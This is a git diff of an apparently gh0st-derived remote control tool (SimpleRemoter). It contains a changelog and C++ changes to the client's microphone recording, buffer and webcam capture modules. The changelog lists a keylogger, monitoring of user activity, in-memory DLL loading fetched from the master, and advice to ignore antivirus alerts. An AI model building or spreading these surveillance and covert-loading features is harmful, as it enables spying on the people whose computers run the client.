修复被控程序关于远程桌面相关可能的2处问题#28 #29)。增加对主控端列表窗口的排序功能(#26 #27),以便快速定位窗口、服务或进程。
发布一个运行**非常稳定**的版本v1.0.6该版本不支持在较老的Windows XP系统运行VS2019及以后版本已不支持XP工具集为此需要更早的VS
您可以从GitHub下载最新的Release也可以clone该项目在相关目录找到。如果杀毒软件报告病毒这是正常现象请信任即可或者您可以亲自编译。
2025.02.01
参考[Gh0st](https://github.com/yuanyuanxiang/Gh0st/pull/2),增加键盘记录功能。实质上就是拷贝如下四个文件:
*KeyboardManager.h、KeyboardManager.cpp、KeyBoardDlg.h、KeyBoardDlg.cpp*
**2025.04.05**
Release v1.0.7, mainly fix or add new feature:
- Update third-party libraries and switch zlib to zstd, old version v1.0.6 is compatible;
- Support compile with Win64;
- Fix buges and make the program more stable;
- Improve remote control efficiency and support more bitmap compressing method;
- Some code reorganization.
**2025.04.12**
Since v1.0.7 released in April 5:
- Improvement: Make sure that the input command is always at the end of `Shelldlg`, and build a **simple Linux client**;
- Fix bugs: #62, #74, #75 ;
- Change the flag 0x1234567 to a more readable string; and improve building service and allow chosing other files to build;
- Showing the user's activities and monitoring specified software;
- Clean up global variables and make it easy to create multiple clients in one program, which is useful for testing the master's capacity;
- Implement loading DLL in memory, make it easy to update client program;
**2025.04.21**
Release v1.0.8:
- Support to share online host with other masters;
- Implement service-generated authorization capability, and add a serial number generation menu;
- Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master;
- Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory.
# 沟通反馈
QQ962914132
联系方式: [Telegram](https://t.me/doge_grandfather), [Email](mailto:yuanyuanxiang163@gmail.com), [LinkedIn](https://www.linkedin.com/in/wishyuanqi)
问题报告: [Issues](https://github.com/yuanyuanxiang/SimpleRemoter/issues)
欢迎提交: [Merge requests](https://github.com/yuanyuanxiang/SimpleRemoter/pulls)
赞助方式 / Sponsor
![Sponsor](https://github.com/yuanyuanxiang/yuanyuanxiang/blob/main/images/QR_Codes.jpg)

View File

@@ -1,73 +0,0 @@
[简介]
基于gh0st的远程控制器实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
来源https://github.com/zibility/Remote
日期2019.1.1
[更新日志]
2019.1.5
1、整理垃圾排版优化上线下线处理逻辑。
2、修复部分内存泄漏问题改善线程处理逻辑。
3、修复客户端不停断线重连的缺陷。解决部分内存泄漏缺陷。
4、解决几处缺陷。【遗留问题】文件管理对话框释放资源导致第2次打开崩溃。
2019.1.6
1、改用EnumDisplaySettings获取屏幕大小原方法获取屏幕大小不准。
2、将FileManagerDlg、InputDlg、FileTransferModeDlg、TrueColorToolBar还原到gh0st最初版本。
3、新增项目"ghost"不通过TestRun调用dll而是直接生成可执行文件。
4、修复开启视频客户端产生的一处内存泄漏缺陷m_pCapture需要释放。
2019.1.7
1、ghost单台电脑只允许启动唯一的实例。
2、远程桌面反应迟钝改用每秒传送8帧屏幕后续有待优化。
2019.1.8
1、发现传屏的瓶颈在zlib压缩数据更新zlib到版本V1.2.11提高传送屏幕速度到每秒10帧。
2、ghost的类CBuffer不需要临界区。
2019.1.9
1、服务端IOCPServer类的工作线程改为计算机核心个数的2倍。
2、解决服务端主动退出的内存泄漏问题泄漏源在OVERLAPPEDPLUS。
2019.1.10
1、服务端远程控制增加全屏系统右键菜单、退出全屏F11的功能。
2、修复客户端机器屏幕缩放时远程桌面鼠标光标位置不准确的问题。跟踪光标受影响
3、发现服务端需要采用默认英文输入法才能在远程桌面输入中文怀疑本地输入法截获消息
4、添加崩溃时写dump文件的代码。
2019.1.11
1、修复文件管理对话框多次打开崩溃的问题【遗留问题】
2、遗留问题远程cmd窗口总是将输入命令输出2次、文件对话框的菜单操作可能已失效。
2019.1.12
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.
2、修复上述"cmd窗口总是将输入命令输出2次"遗留问题。
3、打开注册表关闭后崩溃参照按对文件管理窗口的修改进行处理。遗留问题
并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
4、退出时睡眠一会等待服务端清理发现这样可以避免退出时崩溃的概率。
5、发布稍微稳定的版本V1.0.0.1。

Binary file not shown.

BIN
Releases/v1.0.6/TestRun.exe Normal file

Binary file not shown.

BIN
Releases/v1.0.6/Yama.exe Normal file

Binary file not shown.

BIN
Releases/v1.0.6/ghost.exe Normal file

Binary file not shown.

Binary file not shown.

BIN
Releases/v1.0.7/TestRun.exe Normal file

Binary file not shown.

BIN
Releases/v1.0.7/Yama.exe Normal file

Binary file not shown.

BIN
Releases/v1.0.7/ghost.exe Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
Releases/v1.0.8/TestRun.exe Normal file

Binary file not shown.

BIN
Releases/v1.0.8/Yama.exe Normal file

Binary file not shown.

BIN
Releases/v1.0.8/ghost Normal file

Binary file not shown.

BIN
Releases/v1.0.8/ghost.exe Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -14,12 +14,13 @@ CAudio::CAudio()
{
m_bExit = FALSE;
m_hThreadCallBack = false;
m_Thread = NULL;
m_bIsWaveInUsed = FALSE;
m_bIsWaveOutUsed = FALSE;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_hEventWaveIn = CreateEvent(NULL, TRUE, FALSE, NULL);
m_hStartRecord = CreateEvent(NULL, TRUE, FALSE, NULL);
m_hEventWaveIn = CreateEvent(NULL, FALSE, FALSE, NULL);
m_hStartRecord = CreateEvent(NULL, FALSE, FALSE, NULL);
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
@@ -33,8 +34,7 @@ CAudio::CAudio()
m_ulBufferLength = 1000;
int i = 0;
for (i = 0; i < 2; i++)
for (int i = 0; i < 2; ++i)
{
m_InAudioData[i] = new BYTE[m_ulBufferLength];
m_InAudioHeader[i] = new WAVEHDR;
@@ -47,26 +47,7 @@ CAudio::CAudio()
CAudio::~CAudio()
{
m_bExit = TRUE;
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
}
for (int i = 0; i < 2; i++)
{
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
delete [] m_InAudioHeader[i];
m_InAudioHeader[i] = NULL;
}
if (m_hEventWaveIn)
{
SetEvent(m_hEventWaveIn);
@@ -80,15 +61,40 @@ CAudio::~CAudio()
m_hStartRecord = NULL;
}
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; ++i)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
Mprintf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
TerminateThread(m_Thread, -999);
m_Thread = NULL;
}
for (int i = 0; i < 2; ++i)
{
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
delete [] m_InAudioHeader[i];
m_InAudioHeader[i] = NULL;
}
if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++)
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
for (int i = 0; i < 2; ++i) {
if (m_InAudioHeader[i])
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
}
waveOutClose(m_hWaveOut);
}
for (int i = 0; i < 2; i++)
for (int i = 0; i < 2; ++i)
{
delete [] m_OutAudioData[i];
m_OutAudioData[i] = NULL;
@@ -102,9 +108,8 @@ BOOL CAudio::InitializeWaveIn()
MMRESULT mmResult;
DWORD dwThreadID = 0;
HANDLE h = NULL;
m_hThreadCallBack = h = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
m_hThreadCallBack = m_Thread = CreateThread(NULL, 0,
waveInCallBack, (LPVOID)this,
CREATE_SUSPENDED, &dwThreadID);
//<2F><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>豸COM 1 ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2 ֧<><D6A7>ͨ<EFBFBD><CDA8><EFBFBD>̻߳ص<CCBB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -114,12 +119,11 @@ BOOL CAudio::InitializeWaveIn()
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (mmResult != MMSYSERR_NOERROR)
{
CloseHandle(h);
return FALSE;
}
//¼<><C2BC><EFBFBD><20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (int i=0; i<2; i++)
for (int i=0; i<2; ++i)
{
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
@@ -129,9 +133,10 @@ BOOL CAudio::InitializeWaveIn()
}
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
ResumeThread(h);
CloseHandle(h);
if (m_Thread!=NULL)
{
ResumeThread(m_Thread);
}
waveInStart(m_hWaveIn); //¼<><C2BC>
m_bIsWaveInUsed = TRUE;
@@ -146,10 +151,7 @@ LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
{
return NULL;
}
if (dwBufferSize == NULL)
{
return NULL;
}
SetEvent(m_hStartRecord);
WaitForSingleObject(m_hEventWaveIn, INFINITE);
*dwBufferSize = m_ulBufferLength;
@@ -170,16 +172,17 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
{
SetEvent(This->m_hEventWaveIn);
WaitForSingleObject(This->m_hStartRecord, INFINITE);
if (This->m_bExit)
break;
Sleep(1);
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
//<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD>
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
if (mmResult != MMSYSERR_NOERROR)
return -1;
break;
}
if (Msg.message == MM_WIM_CLOSE)
@@ -191,10 +194,10 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
DispatchMessage(&Msg);
}
std::cout<<"waveInCallBack end\n";
Mprintf("waveInCallBack end\n");
This->m_hThreadCallBack = false;
return 0;
return 0XDEADAAAA;
}
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
@@ -215,8 +218,8 @@ BOOL CAudio::InitializeWaveOut()
{
if (!waveOutGetNumDevs())
return FALSE;
int i;
for (i = 0; i < 2; i++)
for (int i = 0; i < 2; ++i)
memset(m_OutAudioData[i], 0, m_ulBufferLength); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MMRESULT mmResult;
@@ -224,7 +227,7 @@ BOOL CAudio::InitializeWaveOut()
if (mmResult != MMSYSERR_NOERROR)
return false;
for (i = 0; i < 2; i++)
for (int i = 0; i < 2; ++i)
{
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;

View File

@@ -26,9 +26,10 @@ public:
HWAVEIN m_hWaveIn; //<2F><EFBFBD><E8B1B8><EFBFBD><EFBFBD>
DWORD m_nWaveInIndex;
bool m_hThreadCallBack;
HANDLE m_Thread;// waveInCallBack<63>߳<EFBFBD>
static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
BOOL CAudio::InitializeWaveIn();
LPBYTE GetRecordBuffer(LPDWORD dwBufferSize);
BOOL InitializeWaveIn();
BOOL m_bIsWaveInUsed;
HWAVEOUT m_hWaveOut;
@@ -37,8 +38,8 @@ public:
DWORD m_nWaveOutIndex;
LPWAVEHDR m_OutAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
LPBYTE m_OutAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
BOOL CAudio::InitializeWaveOut();
BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
BOOL InitializeWaveOut();
};
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)

View File

@@ -8,15 +8,14 @@
#include <Mmsystem.h>
#include <IOSTREAM>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
Mprintf("new CAudioManager %p\n", this);
m_bIsWorking = FALSE;
m_AudioObject = NULL;
@@ -26,12 +25,12 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObj
}
BYTE bToken = TOKEN_AUDIO_START;
m_ClientObject->OnServerSending((char*)&bToken, 1);
m_ClientObject->OnServerSending((char*)&bToken, 1);
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szPacket = NULL;
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
(LPVOID)this, 0, NULL);
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
}
@@ -41,12 +40,13 @@ VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
case COMMAND_NEXT:
{
NotifyDialogIsOpen();
if (1 == ulLength)
NotifyDialogIsOpen();
break;
}
default:
{
m_AudioObject->PlayBuffer(szBuffer, ulLength);
{
m_AudioObject->PlayBuffer(szBuffer, ulLength);
break;
}
}
@@ -57,34 +57,35 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) //
CAudioManager *This = (CAudioManager *)lParam;
while (This->m_bIsWorking)
{
This->SendRecordBuffer();
if(!This->SendRecordBuffer())
Sleep(50);
}
cout<<"CAudioManager WorkThread end\n";
Mprintf("CAudioManager WorkThread end\n");
return 0;
}
int CAudioManager::SendRecordBuffer()
BOOL CAudioManager::SendRecordBuffer()
{
DWORD dwBufferSize = 0;
DWORD dwReturn = 0;
BOOL dwReturn = 0;
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
if (szBuffer == NULL)
return 0;
//<2F><><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD>
LPBYTE szPacket = new BYTE[dwBufferSize + 1];
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͸<EFBFBD><CDB8><EFBFBD>Ϣ
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
memcpy(szPacket + 1, szBuffer, dwBufferSize);
szPacket[dwBufferSize] = 0;
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
if (dwBufferSize > 0)
{
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
}
delete szPacket;
return dwReturn;
}
@@ -100,6 +101,12 @@ CAudioManager::~CAudioManager()
delete m_AudioObject;
m_AudioObject = NULL;
}
if (szPacket)
{
delete [] szPacket;
szPacket = NULL;
}
Mprintf("~CAudioManager %p\n", this);
}
//USB

View File

@@ -18,14 +18,15 @@ class CAudioManager : public CManager
public:
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
BOOL Initialize();
CAudioManager(IOCPClient* ClientObject, int n);
CAudioManager(IOCPClient* ClientObject, int n, void *user=nullptr);
virtual ~CAudioManager();
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
static DWORD WorkThread(LPVOID lParam);
int CAudioManager::SendRecordBuffer();
static DWORD WINAPI WorkThread(LPVOID lParam);
BOOL SendRecordBuffer();
CAudio* m_AudioObject;
LPBYTE szPacket; // <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
};
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)

View File

@@ -1,4 +1,7 @@
#ifdef _WIN32
#include "StdAfx.h"
#endif
#include "Buffer.h"
#include <math.h>
@@ -18,7 +21,7 @@ CBuffer::~CBuffer(void)
{
if (m_Base)
{
VirtualFree(m_Base, 0, MEM_RELEASE);
MVirtualFree(m_Base, 0, MEM_RELEASE);
m_Base = NULL;
}
@@ -30,102 +33,101 @@ CBuffer::~CBuffer(void)
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
{
if (ulLength > GetBufferMaxLength())
if (ulLength > m_ulMaxLength)
{
return 0;
}
if (ulLength > GetBufferLength())
ULONG len = m_Ptr - m_Base;
if (ulLength > len)
{
ulLength = GetBufferLength();
ulLength = len;
}
if (ulLength)
{
CopyMemory(Buffer,m_Base,ulLength);
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength);
MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength);
m_Ptr -= ulLength;
}
DeAllocateBuffer(GetBufferLength());
DeAllocateBuffer(m_Ptr - m_Base);
return ulLength;
}
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
// <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>С
VOID CBuffer::DeAllocateBuffer(ULONG ulLength)
{
if (ulLength < GetBufferLength())
return 0;
int len = m_Ptr - m_Base;
if (ulLength < len)
return;
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
if (GetBufferMaxLength() <= ulNewMaxLength)
if (m_ulMaxLength <= ulNewMaxLength)
{
return 0;
return;
}
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
if (NewBase == NULL)
return;
ULONG ulv1 = GetBufferLength(); //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD>
CopyMemory(NewBase,m_Base,ulv1);
CopyMemory(NewBase,m_Base,len);
VirtualFree(m_Base,0,MEM_RELEASE);
MVirtualFree(m_Base,0,MEM_RELEASE);
m_Base = NewBase;
m_Ptr = m_Base + ulv1;
m_Ptr = m_Base + len;
m_ulMaxLength = ulNewMaxLength;
return m_ulMaxLength;
}
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
{
if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024
if (ReAllocateBuffer(ulLength + (m_Ptr - m_Base)) == FALSE)
{
return false;
return FALSE;
}
CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5
CopyMemory(m_Ptr, Buffer, ulLength);
m_Ptr+=ulLength;
return TRUE;
}
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȳ<EFBFBD><C8B2><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
{
if (ulLength < GetBufferMaxLength())
return 0;
if (ulLength < m_ulMaxLength)
return TRUE;
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
if (NewBase == NULL)
{
return -1;
return FALSE;
}
ULONG ulv1 = GetBufferLength(); //ԭ<>ȵ<EFBFBD><C8B5><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
CopyMemory(NewBase,m_Base,ulv1);
ULONG len = m_Ptr - m_Base;
CopyMemory(NewBase, m_Base, len);
if (m_Base)
{
VirtualFree(m_Base,0,MEM_RELEASE);
MVirtualFree(m_Base,0,MEM_RELEASE);
}
m_Base = NewBase;
m_Ptr = m_Base + ulv1; //1024
m_Ptr = m_Base + len;
m_ulMaxLength = ulNewMaxLength;
m_ulMaxLength = ulNewMaxLength; //2048
return m_ulMaxLength;
return TRUE;
}
VOID CBuffer::ClearBuffer()
{
m_Ptr = m_Base;
@@ -135,27 +137,15 @@ VOID CBuffer::ClearBuffer()
ULONG CBuffer::GetBufferLength() //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
ULONG CBuffer::GetBufferLength() const
{
if (m_Base == NULL)
return 0;
return (ULONG)m_Ptr - (ULONG)m_Base;
return m_Ptr - m_Base;
}
ULONG CBuffer::GetBufferMaxLength()
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
{
return m_ulMaxLength;
}
PBYTE CBuffer::GetBuffer(ULONG ulPos)
{
if (m_Base==NULL)
{
return NULL;
}
if (ulPos>=GetBufferLength())
if (m_Base==NULL || ulPos>=(m_Ptr - m_Base))
{
return NULL;
}

View File

@@ -1,6 +1,6 @@
#pragma once
#include <Windows.h>
#include "../common/commands.h"
class CBuffer
{
@@ -8,14 +8,13 @@ public:
CBuffer(void);
~CBuffer(void);
ULONG GetBufferMaxLength();
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
ULONG GetBufferLength(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>;
ULONG DeAllocateBuffer(ULONG ulLength);
ULONG GetBufferLength() const; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
VOID DeAllocateBuffer(ULONG ulLength);
VOID ClearBuffer();
ULONG ReAllocateBuffer(ULONG ulLength);
BOOL ReAllocateBuffer(ULONG ulLength);
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
PBYTE GetBuffer(ULONG ulPos=0);
PBYTE GetBuffer(ULONG ulPos=0) const;
protected:
PBYTE m_Base;

View File

@@ -8,22 +8,27 @@
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CSampleGrabberCB mCB;
CSampleGrabberCB CCaptureVideo::mCB;
CCaptureVideo::CCaptureVideo()
{
if(FAILED(CoInitialize(NULL)))
{
return;
}
m_pCapture = NULL;
m_pGB = NULL;
m_pMC = NULL;
m_pVW = NULL;
m_pVW = NULL;
m_pBF = NULL;
m_pGrabber = NULL;
m_bExit = FALSE;
m_hWnd = NULL;
if (FAILED(CoInitialize(NULL)))
{
return;
}
}
CCaptureVideo::~CCaptureVideo()
{
m_bExit = TRUE;
if(m_pMC)m_pMC->StopWhenReady();
if(m_pVW){
m_pVW->put_Visible(OAFALSE);
@@ -39,10 +44,9 @@ CCaptureVideo::~CCaptureVideo()
CoUninitialize() ;
}
//!!<21>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
{
printf("CCaptureVideo call Open\n");
Mprintf("CCaptureVideo call Open\n");
HRESULT hResult = S_OK;
do
{
@@ -55,7 +59,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
IID_ISampleGrabber, (void**)&m_pGrabber); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
IID_ISampleGrabber, (void**)&m_pGrabber); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
if(FAILED(hResult))
break;
@@ -119,7 +123,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
break;
} while (false);
printf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
Mprintf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
return hResult;
}
@@ -254,14 +258,16 @@ void CCaptureVideo::SendEnd() //
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
{
BYTE *szBuffer = NULL;
int n = 200; // 10sû<73>л<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򷵻<EFBFBD>NULL
do
{
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
{
szBuffer = mCB.GetNextScreen(dwSize);//ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (szBuffer = mCB.GetNextScreen(dwSize)) //<2F>Ƿ<EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ
break;
}
} while (szBuffer==NULL);
Sleep(50);
} while (!m_bExit && --n);
return szBuffer;
}

View File

@@ -13,12 +13,59 @@
#include <strmif.h>
#include <CONTROL.H>
#include <ATLBASE.H>
#include <qedit.h>
#include <amvideo.h>
#include <DShow.h>
#pragma comment(lib,"Strmiids.lib")
EXTERN_C const IID IID_ISampleGrabberCB;
EXTERN_C const CLSID CLSID_SampleGrabber;
EXTERN_C const IID IID_ISampleGrabber;
struct ISampleGrabberCB : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE SampleCB(
double SampleTime,
IMediaSample * pSample) = 0;
virtual HRESULT STDMETHODCALLTYPE BufferCB(
double SampleTime,
BYTE* pBuffer,
long BufferLen) = 0;
};
struct ISampleGrabber : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE SetOneShot(
BOOL OneShot) = 0;
virtual HRESULT STDMETHODCALLTYPE SetMediaType(
const AM_MEDIA_TYPE* pType) = 0;
virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType(
AM_MEDIA_TYPE* pType) = 0;
virtual HRESULT STDMETHODCALLTYPE SetBufferSamples(
BOOL BufferThem) = 0;
virtual HRESULT STDMETHODCALLTYPE GetCurrentBuffer(
/* [out][in] */ long* pBufferSize,
/* [out] */ long* pBuffer) = 0;
virtual HRESULT STDMETHODCALLTYPE GetCurrentSample(
/* [retval][out] */ IMediaSample** ppSample) = 0;
virtual HRESULT STDMETHODCALLTYPE SetCallback(
ISampleGrabberCB* pCallback,
long WhichMethodToCallback) = 0;
};
enum{
CMD_CAN_COPY,
CMD_CAN_SEND
@@ -36,7 +83,7 @@ public:
LPBITMAPINFO m_BitmapInfor_Full;
BYTE* m_BitmapData_Full;
BOOL bStact;
DWORD m_dwSize;
